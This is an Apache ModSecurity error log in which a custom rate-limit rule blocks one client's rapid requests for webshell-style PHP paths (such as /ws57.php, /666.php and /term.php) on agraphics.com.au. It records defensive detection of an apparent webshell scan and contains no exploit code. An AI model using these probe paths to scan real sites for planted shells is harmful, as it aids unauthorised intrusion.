[Thu Apr 23 21:25:58.632014 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:54685] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aeod5r6vRb9j6psK2ZaKxgAAAgg"]
[Thu Apr 23 21:25:59.136316 2026] [:error] [pid 59700:tid 59721] [client 20.251.223.35:57284] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod55XyGZJFeAIDWtkp-QAAAVM"]
[Thu Apr 23 21:25:59.790502 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:57337] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod58OAb-3sOknsk4c89gAAAFc"]
[Thu Apr 23 21:25:59.902399 2026] [:error] [pid 46953:tid 46959] [client 20.251.223.35:28277] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aeod50nlpdHh-P6wKbo5xAAAAkM"]
[Thu Apr 23 21:26:00.641271 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:53387] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod6L6vRb9j6psK2ZaKzAAAAg0"]
[Thu Apr 23 21:26:00.829143 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:28165] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aeod6L6vRb9j6psK2ZaKzQAAAgk"]
[Thu Apr 23 21:26:01.277098 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:54682] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod6cOAb-3sOknsk4c8_AAAAEU"]
[Thu Apr 23 21:26:01.499967 2026] [:error] [pid 42972:tid 43032] [client 20.251.223.35:55890] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeod6cOAb-3sOknsk4c8_gAAAFA"]
[Thu Apr 23 21:26:01.868907 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:50940] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod6b6vRb9j6psK2ZaK0wAAAhg"]
[Thu Apr 23 21:26:02.417425 2026] [:error] [pid 42972:tid 43037] [client 20.251.223.35:57300] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod6sOAb-3sOknsk4c9BQAAAFU"]
[Thu Apr 23 21:26:02.544456 2026] [:error] [pid 64998:tid 65016] [client 20.251.223.35:50900] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeod6oV5EysYcTLjmwh9uQAAAc4"]
[Thu Apr 23 21:26:03.530487 2026] [:error] [pid 25635:tid 25655] [client 20.251.223.35:54708] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeod68Rxv6UsgRGKB3I0WgAAARA"]
[Thu Apr 23 21:26:03.701421 2026] [:error] [pid 46953:tid 46960] [client 20.251.223.35:50925] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeod60nlpdHh-P6wKbo5xQAAAkQ"]
[Thu Apr 23 21:26:04.717024 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:39947] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeod7MOAb-3sOknsk4c9CwAAAEo"]
[Thu Apr 23 21:26:04.948078 2026] [:error] [pid 65000:tid 65032] [client 20.251.223.35:30126] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeod7L6vRb9j6psK2ZaK5QAAAgM"]
[Thu Apr 23 21:26:05.806775 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:28171] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeod7cOAb-3sOknsk4c9DgAAAEU"]
[Thu Apr 23 21:26:06.175632 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:50881] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeod7sOAb-3sOknsk4c9EAAAAFg"]
[Thu Apr 23 21:26:06.574644 2026] [:error] [pid 42972:tid 43033] [client 20.251.223.35:39938] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeod7sOAb-3sOknsk4c9EQAAAFE"]
[Thu Apr 23 21:26:07.887830 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:30123] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeod776vRb9j6psK2ZaK-QAAAhM"]
[Thu Apr 23 21:26:08.305149 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:57222] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeod8L6vRb9j6psK2ZaK_QAAAgA"]
[Thu Apr 23 21:26:09.020092 2026] [:error] [pid 42972:tid 43025] [client 20.251.223.35:28212] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeod8cOAb-3sOknsk4c9FwAAAEk"]
[Thu Apr 23 21:26:09.501339 2026] [:error] [pid 42972:tid 43024] [client 20.251.223.35:39946] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeod8cOAb-3sOknsk4c9GQAAAEg"]
[Thu Apr 23 21:26:10.209946 2026] [:error] [pid 43083:tid 43098] [client 20.251.223.35:55882] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeod8jC5hrvNXosL83J5IAAAAM0"]
[Thu Apr 23 21:26:11.430899 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:50905] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeod876vRb9j6psK2ZaLBQAAAgQ"]
[Thu Apr 23 21:26:11.440803 2026] [:error] [pid 65000:tid 65039] [client 20.251.223.35:28193] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod876vRb9j6psK2ZaLBgAAAgY"]
[Thu Apr 23 21:26:12.699940 2026] [:error] [pid 64998:tid 65013] [client 20.251.223.35:28198] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod9IV5EysYcTLjmwh90QAAAcs"]
[Thu Apr 23 21:26:13.077331 2026] [:error] [pid 64998:tid 65007] [client 20.251.223.35:55191] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeod9YV5EysYcTLjmwh91gAAAcU"]
[Thu Apr 23 21:26:14.963146 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:39950] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod9oV5EysYcTLjmwh95AAAAcE"]
[Thu Apr 23 21:26:16.714856 2026] [:error] [pid 46953:tid 46968] [client 20.251.223.35:54698] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeod-EnlpdHh-P6wKbo5ygAAAkw"]
[Thu Apr 23 21:26:18.222737 2026] [:error] [pid 42972:tid 43018] [client 20.251.223.35:28216] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeod-sOAb-3sOknsk4c9MQAAAEI"]
[Thu Apr 23 21:26:18.350252 2026] [:error] [pid 64998:tid 65007] [client 20.251.223.35:49684] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod-oV5EysYcTLjmwh99gAAAcU"]
[Thu Apr 23 21:26:19.411168 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:57295] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod-76vRb9j6psK2ZaLEwAAAhg"]
[Thu Apr 23 21:26:19.953954 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:39985] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeod-76vRb9j6psK2ZaLFgAAAgA"]
[Thu Apr 23 21:26:20.319538 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:54671] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod_IV5EysYcTLjmwh-AgAAAcE"]
[Thu Apr 23 21:26:21.140671 2026] [:error] [pid 64998:tid 65024] [client 20.251.223.35:57224] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeod_YV5EysYcTLjmwh-CQAAAdY"]
[Thu Apr 23 21:26:21.731711 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:50923] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeod_YV5EysYcTLjmwh-CgAAAcA"]
[Thu Apr 23 21:26:22.062763 2026] [:error] [pid 64967:tid 64981] [client 20.251.223.35:57280] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeod_oAV4GfOOdX8Qzp2KAAAAYw"]
[Thu Apr 23 21:26:23.992706 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:57335] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeod_76vRb9j6psK2ZaLHgAAAgg"]
[Thu Apr 23 21:26:24.547818 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:57254] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeoeAL6vRb9j6psK2ZaLJAAAAhY"]
[Thu Apr 23 21:26:25.047040 2026] [:error] [pid 65000:tid 65043] [client 20.251.223.35:57274] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeAb6vRb9j6psK2ZaLKQAAAgo"]
[Thu Apr 23 21:26:26.408786 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:54688] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeoeAsOAb-3sOknsk4c9NwAAAEo"]
[Thu Apr 23 21:26:26.646721 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:39956] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeAr6vRb9j6psK2ZaLMAAAAgQ"]
[Thu Apr 23 21:26:28.933122 2026] [:error] [pid 59700:tid 59720] [client 20.251.223.35:28243] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeBJXyGZJFeAIDWtkqEAAAAVI"]
[Thu Apr 23 21:26:29.262594 2026] [:error] [pid 42972:tid 43031] [client 20.251.223.35:44904] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeoeBcOAb-3sOknsk4c9SgAAAE8"]
[Thu Apr 23 21:26:30.556619 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:52133] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeBr6vRb9j6psK2ZaLOwAAAgg"]
[Thu Apr 23 21:26:30.784443 2026] [:error] [pid 65000:tid 65031] [client 20.251.223.35:5494] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeoeBr6vRb9j6psK2ZaLPAAAAgI"]
[Thu Apr 23 21:26:31.892277 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:52099] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeB4V5EysYcTLjmwh-LQAAAcg"]
[Thu Apr 23 21:26:31.949654 2026] [:error] [pid 65000:tid 65039] [client 20.251.223.35:39937] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeoeB76vRb9j6psK2ZaLQgAAAgY"]
[Thu Apr 23 21:26:32.525454 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:32586] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeoeCL6vRb9j6psK2ZaLRQAAAhc"]
[Thu Apr 23 21:26:33.143010 2026] [:error] [pid 64998:tid 65012] [client 20.251.223.35:6055] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeoeCYV5EysYcTLjmwh-NAAAAco"]
[Thu Apr 23 21:26:33.385714 2026] [:error] [pid 46953:tid 46971] [client 20.251.223.35:34464] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeCUnlpdHh-P6wKbo50AAAAk8"]
[Thu Apr 23 21:26:33.774807 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:5768] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeoeCcOAb-3sOknsk4c9WQAAAFc"]
[Thu Apr 23 21:26:34.399250 2026] [:error] [pid 42972:tid 43034] [client 20.251.223.35:5326] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeCsOAb-3sOknsk4c9WwAAAFI"]
[Thu Apr 23 21:26:34.784866 2026] [:error] [pid 42972:tid 43035] [client 20.251.223.35:52175] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeoeCsOAb-3sOknsk4c9XAAAAFM"]
[Thu Apr 23 21:26:35.310228 2026] [:error] [pid 64998:tid 65018] [client 20.251.223.35:5327] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeC4V5EysYcTLjmwh-OgAAAdA"]
[Thu Apr 23 21:26:35.678274 2026] [:error] [pid 64967:tid 64974] [client 20.251.223.35:32596] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeoeC4AV4GfOOdX8Qzp2LQAAAYU"]
[Thu Apr 23 21:26:36.595096 2026] [:error] [pid 42973:tid 43065] [client 20.251.223.35:34465] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeDG6I0QqmmmLTHE0cTgAAAJY"]
